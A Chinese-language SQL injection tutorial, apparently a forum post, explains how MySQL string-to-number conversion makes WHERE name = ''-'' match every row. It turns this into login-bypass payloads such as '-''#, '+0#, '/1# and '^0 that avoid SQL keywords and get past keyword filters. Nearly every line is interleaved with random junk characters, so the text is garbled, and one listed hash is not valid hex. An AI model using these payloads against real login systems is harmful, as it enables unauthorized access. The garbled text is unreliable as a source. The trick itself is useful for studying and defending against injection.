我们先来看这样一个场景。3 _; R8 P, @6 m- `8 z
有以下表结构:
; ^" g* }8 L8 i9 K3 U* D) p# ]) X0 [# I% e2 p! f. S5 X+ G+ ]
mysql> desc admin; h$ J4 f s. g ^* l3 f: C( Q
+----------+--------------+------+-----+---------+----------------+6 _: J, T' T4 n8 l/ D3 U
| Field | Type | Null | Key | Default | Extra |) j) L8 R7 o T$ `3 o, U- x0 _
+----------+--------------+------+-----+---------+----------------+
* V/ j3 R1 w. K/ z( P| id | mediumint(9) | NO | PRI | NULL | auto_increment |) o9 F$ p- r4 \% u" M9 \7 ~
| name | char(32) | NO | UNI | NULL | |
7 |1 T$ E+ K3 S! e# L1 e| password | char(32) | NO | UNI | NULL | |6 V6 k/ r8 @0 q0 x
+----------+--------------+------+-----+---------+----------------+, w1 G* l% Y2 [# F/ z4 F
3 rows in set (0.00 sec)
/ r" X* @2 B" q1 W& w执行select * from admin;,成功返回所有记录内容。
- l3 X% d" B5 `' o2 i. u. r2 `
7 p) W' H/ [5 i3 h; x! B+----+--------+----------------------------------+: p8 }% f$ u* w/ l% a
| id | name | password |
: L8 N% T# M7 U# k+ C+----+--------+----------------------------------+; q+ X0 [5 m9 v. `' _8 c2 p
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
1 }, J8 v* |, @% G5 L| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 | E7 s" K1 ]" e' U8 c
| 4 | n00b | ff80e8508d39047460921792273533a4 |. t' r- z1 L: Q* g9 V: h
+----+--------+----------------------------------+
" O" I# E% l/ D4 o' r: q3 rows in set (0.00 sec)9 ^$ _, b% G, ]7 n/ Q" [ }
执行select * from admin where name=”;,没有匹配到任何记录。 8 {+ T% D! R0 b, |. S
4 t v6 [+ |% _! T5 C- D
mysql> select * from admin where name = '';# w1 U L$ R3 y9 O; t$ D% ~
Empty set (0.00 sec)
8 ~8 B9 R2 L. \: `- s0 F那么我们来执行select * from admin where name = ”-”;
" X9 J& X" [. J8 O$ T" F
; q% ^( Q" E% s8 Q1 d0 h3 m" H; v! Z# t- R
+----+--------+----------------------------------+; K. c8 l d d' G
| id | name | password |1 l" D1 K9 n; h% Z5 i) B' X. `* E
+----+--------+----------------------------------+8 W6 \: R+ \( ]. S2 q( \! d% i% q
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |4 X' K8 F$ R$ j5 M5 ^* D& W1 @/ X4 A
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; C N& y) V* W. X) R
| 4 | n00b | ff80e8508d39047460921792273533a4 |" L9 Z G5 E9 j2 k$ y+ Q
+----+--------+----------------------------------+
! @3 m7 B/ O! K! y3 `) P$ J4 A3 rows in set, 3 warnings (0.00 sec)
. w% G, a8 s k u* S% _6 d) J可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: ) K% g, Q3 e0 v9 j- H& E& \
! o( D4 y% s6 xmysql> show warnings;& t4 h; V- d( ?) m7 n0 B
+---------+------+------------------------------------------
+ P4 N( p" l3 m1 y7 [7 j1 Z| Level | Code | Message2 q, B. |7 u G6 m% W9 L0 q
+---------+------+------------------------------------------
; ^4 P; n: r- H# V2 V+ D3 P| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin ^' G3 @# J( x2 m1 o$ O9 e- {
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s" Z* ~+ f3 m* L8 U# q2 A- ^& X
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b P, Q6 e" F& @8 ^, }$ z) `
+---------+------+------------------------------------------
9 U- O+ c/ u+ \, D# x3 rows in set (0.00 sec)
" F) U% M& j1 T/ ~提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
# B% ]2 a% D- z$ z( V
9 X! G' f6 n! n4 r" V2 mmysql> select ''-'';
- j+ d* J P. j* ~+-------+' k' s4 R$ r$ o/ Z. `1 A, J/ Y
| ''-'' |: C2 E) K( W/ L2 g! j n# K3 e7 b
+-------+
0 C8 M* l: A" m/ N0 X3 y1 W| 0 |
3 N# K5 r; W$ v$ z3 P: V3 y+-------+
t/ y7 Y9 g* M. m# x4 z5 X! e1 row in set (0.00 sec)
, v: W' m9 p9 ^/ n返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: 4 d" O7 l4 F6 y( Y2 P
4 k1 W( a8 j; pmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
/ q6 P8 \. F. L# B+-----------------------------------------------------+
V/ P. f# f# \; T# r y% f| CAST((select name from admin limit 1,1) as DECIMAL) |; ~0 v6 M1 s; N
+-----------------------------------------------------+/ S5 |1 K. B4 ]3 c8 x
| 0 |8 x7 d( t+ s! S
+-----------------------------------------------------+3 B0 g6 x) H* }" b
1 row in set, 1 warning (0.00 sec)
6 |' G' H+ _7 {4 v/ }! H5 o因此where语句构成了相等的条件,where 0=”=”,记录被返回。
' C7 o' e4 c- s6 V: P9 Q# P1 {; U @. H; m
SQL注入场景: http://www.sqlzoo.net/hack/ 3 P' f3 H( P* Y2 r8 m1 _
* g+ a* M( t+ Z, Y
8 C4 Y5 l5 _3 h9 j! c, |/ u i/ m7 u' F: A
3 F, F5 T" @- n3 K! m6 u
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ' c' v& G0 K2 i
4 [$ U( s- D( [ c7 P. i那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。
+ D& v7 Z; V/ c0 |* }% `& W( f& k; o( z ]& r& i
. _5 Y8 a, o, v: {6 D( D' N& k1 y1 [0 ~8 O
6 j5 r0 F& ?) v! X7 w& W仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
6 I$ p3 d% U j
# h8 I* V2 U& D m# t9 p$ p
+ y2 Q' q0 ]2 ]: f% U
/ _5 p% {6 i7 p- D除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
/ T) C K0 K3 y. t" Q e5 J6 M
, [& R q' p/ @ G/ R) c/ O/ `
1 I9 p4 e$ a/ H. s! J1 P* ]mysql> select ''/1;
5 _) }' b$ ]* g# s! k$ K- v+------+
* S" r# |" P7 b( \0 }! e( Q* m K| ''/1 |
, N# o8 e) u! y& ~* p+------+" H$ n! ~! K: o# g8 T9 I$ o
| 0 |4 W7 N$ R, c0 w1 Q q, K1 b0 G& Z
+------+4 v% ~* b, D! L( |# U
1 row in set (0.00 sec). }$ C, q( x5 W( K
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
, e W8 o W4 s( r, g7 Z: y$ ]- O
1 Y G9 Q/ y3 H& v! G, Q利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。, p/ e' ^6 @+ x$ ]
|
|